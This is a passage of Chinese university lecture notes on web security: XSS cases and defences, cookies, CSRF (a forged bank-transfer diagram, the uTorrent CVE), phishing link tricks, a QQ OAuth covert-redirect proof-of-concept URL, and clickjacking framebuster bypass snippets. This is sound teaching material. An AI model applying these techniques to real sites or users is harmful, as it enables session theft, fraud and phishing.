`中使用了单引号(`'`)和双引号(`"`),所以在JS中无法再使用。一种对策是用表达式来存储脚本,然后执行,例如这样使用单引号:`
`。 341 | - MySpace删除任何出现的单词`javascript`,但一些浏览器将`java\nscript`解释为`javascript` 342 | - 若要在JS中使用双引号,可使用转义双引号(`\"`),但MySpace删除转义引号。可以通过在JS中将10进制转换为ASCII来获得引号,例如`String.fromCharCode(34)` 343 | - 此后,就是将代码注入到用户的Profile中,加好友! 344 | 345 | [Twitter XSS漏洞](http://www.zdnet.com/article/tweetdeck-wasnt-actually-hacked-and-everyone-was-silly/):一个tweet会被所有使用TweetDeck应用的关注者自动retweet。 346 | 347 | ```javascript 348 | 353 | ``` 354 | 355 | ### 4.2 反射XSS 356 | 357 | [Google.com UTF-7 XSS漏洞](http://www.securiteam.com/securitynews/6Z00L0AEUE.html):2005年,两个Google.com上的XSS漏洞允许攻击者来伪装为Google的合法用户或实施一个钓鱼攻击,尽管Google已经采用了防范XSS的机制。 358 | 359 | Google的URL重定向脚本将浏览器重Google重定向到其他网站,例如:`http://www.google.com/url?q=http://www.foo.com`,将重定向到`www.foo.com`。 360 | 361 | 当参数`q`格式错误时,返回`403 Forbidden`网页,该网页包含用户URL信息: 362 | 363 | `Your client does not have permission to get URL /url?q=USER_INPUT from this server.`。 364 | 365 | 当网页不存在时,返回404网页包含不存在的URL的信息: 366 | 367 | `Not Found The requested URL /NOTFOUND was not found on this server.` 368 | 369 | Google服务器应答中缺乏字符集编码要求: 370 | 371 | ``` 372 | * Response headers: "Content-Type: text/html; charset=[encoding]". 373 | * Response body: "". 374 | ``` 375 | 376 | XSS漏洞:当包含有问题URL时,Google会将XSS中常用字符进行转义,例如`<>`和`'`,但没有正确处理有威胁的UTF-7编码负载。当攻击者用UTF-7编码发送XSS攻击负载时,负载会随着应答被反射。 377 | 378 | 一个类似的例子: 379 | 380 | 1. Alice访问一个Bob的网站。Bob网站允许Alice用用户名/口令来登录并存储敏感数据,例如账单信息。当用户登录,浏览器保存授权Cookie。 381 | - Mallory测试Bob网站是否包含一个反射XSS漏洞: 382 | 1. 当Mallory访问Search页时,她在搜索框中输入搜索项并点击提交按钮。当搜索结果不存在时,网页显示搜索项不存在,`http://bobssite.org?q=search-term` 383 | 2. 当提交一个异常搜索时,观察网站行为 384 | 1. 例如所搜`` 385 | 2. 漏洞会导致弹出一个警告窗口显示`xss`,网页显示“上述URL not found” 386 | - Mallory可利用该漏洞构造一个URL,其中恶意脚本在Mallory网站上 387 | 1. 恶意URL:`http://bobssite.org?q=puppies` 388 | 2. Mallory给Bob网站用户Alice发送电子邮件,包含上述恶意URL链接 389 | - Alice收到邮件,点击链接,打开Bob网站,在浏览器上载入恶意脚本,盗取了Alice的Cookie 390 | 391 | ### 4.3 防御 392 | 393 | - 对字符串输入进行上下文输出编码/转义:参考[OWASP的XSS防御手册](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet) 394 | 1. 禁止在未允许的位置插入不可信数据,例如 395 | - 脚本中:`` 396 | - HTML元素:`` 397 | - attribute名:`
` 398 | - Tag名:`<... href="/test" />` 399 | - CSS:`` 400 | - 使用现成的编码/转义库和函数, 例如HTML转义函数会自动实现`& --> &`, `" --> "`, `' --> '`, `< --> <`, `/ --> /`等等 401 | - Cookie安全:许多XSS攻击目标是窃取Cookie,为此需要将强Cookie安全 402 | - 将会话cookie与用户登录时IP地址绑定,只允许从该IP地址来访问cookie 403 | - 一些浏览器支持cookie的[HttpOnly标记](https://en.wikipedia.org/wiki/HTTP_cookie#HttpOnly_cookie)功能,客户端脚本禁止访问设置了HttpOnly标记的cookie 404 | - 禁用脚本,例如在[Go Static or Go Home (ACM Queue 2015)](http://queue.acm.org/detail.cfm?id=2721993)文章指出“In the end, dynamic systems are simply less secure.” 405 | - Javascript沙箱 406 | - [Content Security Policy](https://en.wikipedia.org/wiki/Content_Security_Policy):显示设置网站资源白名单,例如在HTTP应答头部设置`Content-Security-Policy: default-src ‘self’`,则只允许本站资源 407 | 408 | ## 5. CSRF 409 | 410 | [CSRF(Cross-site request forgery)](https://en.wikipedia.org/wiki/Cross-site_request_forgery):也称为“one-click attack”,“session riding”或缩写为“XSRF”。恶意站点通过用户的浏览器以用户身份向信赖用户的网站发送请求。 411 | 412 | - CSRF与XSS不同之处在于,后者利用用户对特定网站的信任,前者利用网站对用户浏览器的信任 413 | - CSRF是一种针对Web的糊涂副手问题! 414 | 415 | ### 5.0 Cookie 416 | 417 | [HTTP Cookie](https://en.wikipedia.org/wiki/HTTP_cookie):Web服务器发送给浏览器,并被浏览器存储的一小片数据;在之后请求中携带cookie,在无状态的HTTP之上实现有状态的会话,例如用cookie存储用户登录信息(authentication cookie),存储购物车中商品,存储曾经访问过的网页(tracking cookie)等等 418 | 419 | 标准:[RFC6265: HTTP State Management Mechanism](https://tools.ietf.org/html/rfc6265) 420 | 421 | HTTP应答中设置cookie的例子: 422 | 423 | ```http 424 | HTTP/1.0 200 OK 425 | Content-type: text/html 426 | Set-Cookie: theme=light 427 | Set-Cookie: SID=31d4d96e407aad42; Expires=Wed, 09 Jun 2021 10:18:14 GMT; Secure; 428 | ``` 429 | 430 | 浏览器在随后请求中包含: 431 | 432 | ```http 433 | Cookie: SID=31d4d96e407aad42; 434 | ``` 435 | 436 | 查看当前网站在Chrome浏览器中的cookie: 437 | 438 | Chrome->View->Developer->JavaScript Console->"document.cookie" 439 | 440 | Cookie相关术语和概念: 441 | 442 | - 临时cookie:也叫内存cookie或,当用户关闭浏览器时,cookie自动被删除 443 | - 持久cookie:关闭浏览器后仍被存储的cookie,直到超时,例如用于实现网站一段时间免登录 444 | - 第三方cookie:所浏览网站的cookie,称为'第一方cookie';所浏览网站中包含的其他网站(例如广告)的cookie,称为'第三方cookie'。通常用于跟踪用户浏览行为,例如A站和B站都包含C站的广告,用户访问A站和B站时,都会被C站设置第三方cookie 445 | - Secure标记:要求cookie必须通过HTTPS来传递 446 | - HttpOnly标记:禁止客户端API和脚本来访问cookie 447 | - SameSite标记:Chrome 51中实现`SameSite`标记,只有来自相同站点的请求才能携带cookie 448 | - Domain & Path属性:设定cookie的范围,即cookie属于哪个网站(域和路径)。缺省情况下,为所请求的域和路径(例如,"foo.com"和"/")。 449 | - 当设定Domain属性为"foo.com"时,也包括所有子域,例如"docs.foo.com"(除了IE浏览器) 450 | - 当未设定Domain属性时,则只包括"foo.com" 451 | 452 | ### 5.1 一个虚构的盗取资金的例子 453 | 454 | 1. 用户登录到bank.com,浏览器获得认证用的cookie 455 | - 用户访问一个恶意站点www.attacker.com 456 | - 浏览器会发送携带用户cookie的请求,将资金转移。 457 | 458 | 示意图: 459 | 460 | ```html 461 | www.attacker.com Browser wwww.bank.com 462 | | GET /blog HTTP/1.1 | | 463 | |<—————————————————————————————————————| | 464 | | | | 465 |
| | 467 | | | 468 |
| | 469 | | | 470 | |————————————————————————————————————> | | 471 | | | POST /transfer HTTP/1.1 | 472 | | | Referer: http://www.attacker.com/blog| 473 | | | Recipient=attacker&amount=$100 | 474 | | | Cookie: SessionID=523FA4cd2E | 475 | | |————————————————————————————————————> | 476 | | | | 477 | | | HTTP/1.1 200 OK | 478 | | |<—————————————————————————————————————| 479 | ``` 480 | 481 | ### 5.2 uTorrent CSRF漏洞 482 | 483 | - [uTorrent](https://en.wikipedia.org/wiki/ΜTorrent) 是仅次于迅雷的最流行的BT客户端 484 | - WebUI是一个插件,允许用户从一台计算机的浏览器上通过网络控制另一台计算机上的uTorrent,可通过`localhost:8080 `访问本机上的WebUI服务 485 | - [CVE-2008-6586](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6586):在WebUI 0.315中gui/index.php存在CSRF漏洞,攻击者可以强制下载任意torrent文件,或者更改管理员账号 486 | 487 | 攻击者将恶意的HTML图片元素注入到论坛或者发送垃圾邮件,例如: 488 | 489 | ```html 490 | 491 | ``` 492 | 493 | 当浏览器访问这些网页时就会自动打开链接,向uTorrent的WebUI发送携带cookie的请求。 494 | 495 | ### 5.3 Login CSRF 496 | 497 | 参考资料:[Robust Defenses for Cross-Site Request Forgery (ACM CCS 2008)](http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf) 498 | 499 | 在Login CSRF中,攻击者使用受害者浏览器来伪造一个指向目标网站登录页面的请求,携带攻击者的用户名和密码;受害者会以攻击者的身份登录到目标网站上,而浏览器中存储攻击者登录的cookie。 500 | 501 | - 窃取搜索历史:受害者受到Login CSRF攻击,以攻击者身份登录Yahoo!或Google;以攻击者身份使用搜索引擎,搜索历史被记录在攻击者账户里 502 | - PayPal:攻击者创建一个使用PayPal付款的恶意商家网站;受害者购买商品时被重定向到PayPal来登录账号;商家偷偷地让受害者登录到攻击者的账户;为了付款,受害者把信用卡信息录入了攻击者的账户 503 | - iGoogle:iGoogle允许用户定制Google主页上的小插件;攻击者制作一个恶意插件并安装到自己的iGoogle主页;受害者以攻击者身份登录到攻击者的iGoogle主页,并运行恶意插件;该插件以`https://www.google.com`为源来运行,可以盗取受害者的口令 504 | - [OpenID](https://en.wikipedia.org/wiki/OpenID)是一个开放认证平台,用户(User)可以从一个OpenID提供商(IDP)获得一个数字身份(ID),来登录支持OpenID的网站(RP,Relying Party)。由于缺乏将OpenID会话与用户浏览器绑定的机制,攻击者可以令用户浏览器已攻击者身份来初始化一个会话。 505 | 1. 攻击者首先访问一个RP,并启动与IDP的认证过程 506 | - 在OpenID协议最后一步,IDP将攻击者浏览器重定向到RP的`return_to` URL 507 | - 但攻击者并不访问,而是令用户的浏览器来访问`return_to` URL 508 | - RP完成OpenID协议,在用户的浏览器中存储会话cookie,用户已经作为攻击者登录了RP 509 | 510 | ### 5.4 防御 511 | 512 | - Secret Validation Token:由服务器生成一个随机token发送给浏览器,后续请求需携带token;没有该token的伪造请求不能得到应答 513 | - Token必须保证不能为预测或伪造,例如令Token=MAC(server-key, session-ID) 514 | - Synchronizer token pattern:将token嵌入在网页里,例如`` 515 | - Cookie-to-Header token:将token放入cookie `Csrf-token`中,浏览器用JS读取token并在请求时携带`X-Csrf-Token`头部,但这与HttpOnly冲突 516 | - 缺点:攻击者若能获取token,则可以伪装为用户 517 | - Referer Validation:当浏览器发出请求时,携带发出请求网页的URL,来区分是同站请求还是跨站请求 518 | - HTTP头部[`Referer`](https://en.wikipedia.org/wiki/HTTP_referer) 519 | - HTTP头部[`Origin`](https://people-mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html) 520 | - 定制头部`X-Requested-With`(RoR和Django) 521 | - AJAX中的[`XMLHttpRequest`](https://en.wikipedia.org/wiki/XMLHttpRequest) 522 | - 缺点:referer头部可能会泄露用户隐私 523 | - 客户端保护:浏览器来阻止跨站点请求,例如FireFox和Chrome的uMatrix, 524 | - 缺点:也会干扰正常跨站请求 525 | - 额外验证:[CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA)或者重新输入口令 526 | - 缺点:会令用户不方便 527 | 528 | --- 529 | 530 | -------------------------------------------------------------------------------- /web-security/web-sec-2.md: -------------------------------------------------------------------------------- 1 | # Web安全:Phishing与Clickjacking 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 本课程学习Web用户所面临的安全问题,所涉及的攻击都是通过欺骗用户(通过浏览器)来实现的。 8 | 9 | ## 1. Phishing 10 | 11 | [Phishing(钓鱼)](https://en.wikipedia.org/wiki/Phishing):通常通过电邮和短信等手段,诱骗受害者来访问攻击者所伪装的可信实体。 12 | 13 | 著名钓鱼攻击事件: 14 | 15 | - 1995年,在针对AOL用户的攻击工具[AOHell](https://en.wikipedia.org/wiki/AOHell)中首次出现"phishing"这个词 16 | - 2011年3月,RSA内部员工遭受钓鱼攻击,导致RSA SecureID安全令牌的主密钥被盗取;之后美国国防部供应商被攻破 17 | - 2013年11月,分包公司账号被攻击,美国零售商Target的1.1亿条顾客和信息卡记录被盗取,CEO和IT安全员工被解职 18 | - 2014年8月,iCloud中的许多名人的照片通过email钓鱼被泄露 19 | - 2014年11月,ICANN的Centralized Zone Data System的管理权限被盗取,系统用户信息被泄露 20 | - 2016年3月,希拉里竞选主席[波德斯塔(Podesta)电子邮件泄露](https://en.wikipedia.org/wiki/Podesta_emails)。攻击者俄罗斯黑客组织Fancy Bear(奇幻熊)采用鱼叉式钓鱼攻击,向波德斯塔发送一封伪造的Gmail警告邮件,其中包含一个链接指向一个伪造的登录页面。同年10月,[维基解密公开了泄露的邮件](https://wikileaks.org/podesta-emails/)。 21 | 22 | 根据[APWG Phishing Activity Trends Report](http://www.antiphishing.org/resources/apwg-reports/)对2016年第2季度钓鱼攻击的统计, 23 | 24 | - 发现事件46万,比2015年第4季度高出61% 25 | - 47%针对零售/服务商 26 | - 每个月受攻击品牌约400个 27 | 28 | 钓鱼攻击类型: 29 | 30 | - Phishing(钓鱼):伪装为可信实体获取信息 31 | - Spear phishing(鱼叉式钓鱼):针对特定目标 32 | - Clone phishing(克隆钓鱼):将一个合法邮件中包含附件或链接替换为恶意内容,其他与原邮件一样 33 | - Whaling(鲸钓):以高层人士为目标(钓大鱼) 34 | - 高级钓鱼攻击: 35 | - Social phishing:攻击者伪装为熟人(70%用户被骗) 36 | - Context-aware phishing:钓鱼邮件中包含用户相关信息,例如最近的购物交易信息(10%用户被骗) 37 | - 两者结合:一个对西点军校学员的实验中,在学期末发送一封邮件“There was a problem with your last grade report; click here to resolve it.”,80%的学员点击 38 | 39 | 攻击技术: 40 | 41 | - 链接操纵(Link manipulation):一个恶意链接看起来像来自可信网站 42 | - `http://www.yourbank.example.com` 43 | - [`http://google.com`](http://attacker.com) 44 | - `http://www.bankofamerca.com` 45 | - `http://bankofthevvest.com` 46 | - `http://paypal.com` (first `p` in Cyrillic),[IDN homograph attack](https://en.wikipedia.org/wiki/IDN_homograph_attack) 47 | - 过滤器绕过(Filter evasion):一些反钓鱼过滤器可以识别上述操纵链接攻击;攻击者转而将文字改为图片;为此,过滤器使用OCR来识别图片中文字 48 | - 网站伪造(Website forgery): 49 | - 操纵地址栏,例如`window.location.href=window.location.href+"#phishing"`,或`history.pushState(null, null, 'phishing');` 50 | - XSS利用可信网站中的漏洞 51 | - 中间人攻击将网站内容替换 52 | - 隐蔽重定向(Covert redirect): 53 | - 钓鱼链接模式:http://认证网站URL/第三方应用URL/恶意重定向URL 54 | - 开放认证协议[OAuth](https://en.wikipedia.org/wiki/OAuth)和[OpenID](https://en.wikipedia.org/wiki/OpenID)的提供商(例如微博,QQ,Facebook,Google)未对回调URL进行验证,导致用户在登录一个第三方网站时,在认证提供商处认证后,跳会到第三方网站时,又跳转到攻击者指定恶意URL 55 | - 这属于一种[Open Redirector(RFC6819)](https://tools.ietf.org/html/rfc6819#section-4.2.4)漏洞 56 | - 例子:[QQ OAuth2.0 漏洞详情](http://tetraph.com/security/covert-redirect/tencent-qq-oauth-2-0-covert-redirect-vulnerabiliy-information-leakage-open-redirect/),[POC链接](http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&client_id=100261282&redirect_uri=http%3A%2F%2Fuc.cjcp.com.cn%2F%3Fm%3Duser%26a%3DotherLogin%26type%3Dqq%26furl%3Dhttp%253A%252F%252Ftetraph.com%252Fessayjeans%252Fseasons%252F%2525E7%2525A2%25258E%2525E5%2525A4%25258F.html&response_type=code&scope=get_user_info%2Cadd_share),POC代码: 57 | 58 | ``` 59 | http://openapi.qzone.qq.com/oauth/show? <--Auth Provider URL 60 | which=Login&display=pc&client_id=100261282& 61 | redirect_uri=http%3A%2F%2Fuc.cjcp.com.cn <--3rd-party App URL 62 | %2F%3Fm%3Duser%26a%3DotherLogin%26type%3Dqq%26 63 | furl%3Dhttp%253A%252F%252Ftetraph.com% <--Destination URL 64 | 252Fessayjeans%252Fseasons%252F%2525E7%2525A2%25258E%2525E5%2525A4%25258F.html& 65 | response_type=code&scope=get_user_info%2Cadd_share 66 | ``` 67 | 68 | - 其他类型phishing: 69 | - [Tabnabbing](https://en.wikipedia.org/wiki/Tabnabbing):并不直接引导用户到钓鱼网站,而是在浏览器上偷偷地打开一个新的Tab等待用户访问 70 | - [Phone phishing](https://en.wikipedia.org/wiki/Voice_phishing):也称为“vishing”,通过伪造来电号码实施电信诈骗 71 | - [Evil twin](https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks)):伪装为可信的Wifi热点 72 | 73 | - 防御: 74 | - HTTPS降低被钓鱼风险,并不能彻底防御钓鱼 75 | - 白名单,收藏夹,导航网站,搜索引擎认证 76 | - 改进安全UI 77 | - 登录时需用户确认留在网站上的一个线索(sitekey)(单词,或图片) 78 | - 过滤垃圾邮件和短信 79 | - 监测并取缔钓鱼网站 80 | - 通过另外的手段验证交易,例如短信验证 81 | - 钓鱼攻击本质是用技术来攻击人的弱点,从技术角度无法彻底消除。最好的防御————多加小心! 82 | 83 | ## 2. Clickjacking 84 | 85 | [Clickjacking](https://en.wikipedia.org/wiki/Clickjacking):也称作“User Interface redress attack”,欺骗用户鼠标点击一个对象,该对象与用户本以为要点击的不同。 86 | 87 | 演示:[POC网页与攻击截图](supplements/clickjacking-example/clickjacking.html) 88 | 89 | - 例1:利用Javascript更改用户点击后触发的动作 90 | - 例2:利用iframe覆盖实际访问的网页,绕过同源规则(Same origin) 91 | - 例3:cursorjacking,用假鼠标指针欺骗用户点击不同位置 92 | - 例4:[Password Managers: Attacks and Defenses (USENIX Security 2014)](https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/silver):通过iframe包含敏感登录网页,截获口令管理器自动填充的口令 93 | 94 | 攻击效果: 95 | 96 | - 欺骗用户一键购物 97 | - 偷偷通过Flash开启摄像头/麦克风 98 | - 公开社交网络账户信息 99 | - 下载或运行恶意软件 100 | - 关注某人,分享链接,点赞 101 | - 点击广告来产生pay per click收入 102 | 103 | ### Framebuster 104 | 105 | 参考资料:[Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites (IEEE Web 2.0 S&P workshop 2010)](supplements/busting-frame.pdf) [[online]](http://seclab.stanford.edu/websec/framebusting/) 106 | 107 | [Framebuster](https://en.wikipedia.org/wiki/Framekiller):(Frame Busting, framekiller):通过嵌入脚本来阻止网页被其他网页framing 108 | 109 | Framebuster脚本通常有以下模式:先判断自己是否被嵌套,若是则采取对策 110 | 111 | ```javascript 112 | if (top.location != self.location) 113 | top.location = self.location; 114 | ``` 115 | 演示:将framebuster应用于[被嵌套网页](supplements/clickjacking-example/attacker.html) 116 | 117 | 下面介绍若干针对framebuster的攻击: 118 | 119 | - Double framing:通过双重framing来绕过基于`parent.location`的防御方法,例如 120 | 121 | ```javascript 122 | if (top.location != self.location) { parent.location = self.location; 123 | } 124 | ``` 125 | 126 | - `onBeforeUnload`事件:当framing网页将要被卸载时会触发`onBeforeUnload`事件,通过注册一个事件句柄来让用户取消掉framebuster的对策。PayPal曾存在该漏洞。 127 | 128 | ```javascript window.onbeforeunload = function () 129 | { return "Asking the user nicely"; 130 | } 131 | ``` 132 | 133 | 演示:应用`onBeforeUnload`事件来绕过之前的framebuster,[POC](supplements/clickjacking-example/clickjacking.html) 134 | 135 | - 利用XSS过滤器:浏览器为防御XSS攻击过滤恶意脚本,可利用该机制来过滤framebuster 136 | 137 | ```javascript 138 | framebuster: 139 | if (top != self) { top.location=self.location; } 140 | Attacker: 175 | ``` 176 | 177 | [Framebuster最佳实践](https://www.codemagi.com/blog/post/194): 178 | 179 | 在文档HEAD结尾定义一个style来禁止显示网页: 180 | 181 | ```htmls 182 | 183 | ``` 184 | 185 | 在文档BODY结尾执行framebuster脚本:若未被framed,则显示网页(移除禁止显示网页的style);若被framed,则将自己设置为顶层。 186 | 187 | ```javascript 188 | if (self === top) { 189 | var antiClickjack = document.getElementById("antiClickjack"); 190 | antiClickjack.parentNode.removeChild(antiClickjack); 191 | } else { 192 | top.location = self.location; 193 | } 194 | ``` 195 | 196 | 若javascript被禁用,则缺省情况下网页不会被显示。 197 | 198 | ### 其他防御方案: 199 | 200 | - [NoScript](https://en.wikipedia.org/wiki/NoScript)中的ClearClick功能阻止用户点击那些不可见或被修改的网页元素 201 | - X-Frame-Options:允许一个网页通过在HTTP应答头部添加新选项来说明frame策略 [RFC7034: HTTP Header Field X-Frame-Options](https://tools.ietf.org/html/rfc7034) 202 | - `SAMEORIGIN`:只允许显示在同源网站的frame中 203 | - `DENY`:禁止被显示在frame中 204 | - `ALLOW-FROM`:只允许显示在指定网站的frame中 205 | - [Content Security Policy](https://en.wikipedia.org/wiki/Content_Security_Policy):实现类似X-Frame-Options的机制,通过`frame-ancestors`来说明允许被嵌入哪个起源网页,例如`Content-Security-Policy: frame-ancestors 'none'`将禁用iframe 206 | - 通过高亮等方式确保指针的视觉完整性 207 | 208 | --- 209 | 210 | --------------------------------------------------------------------------------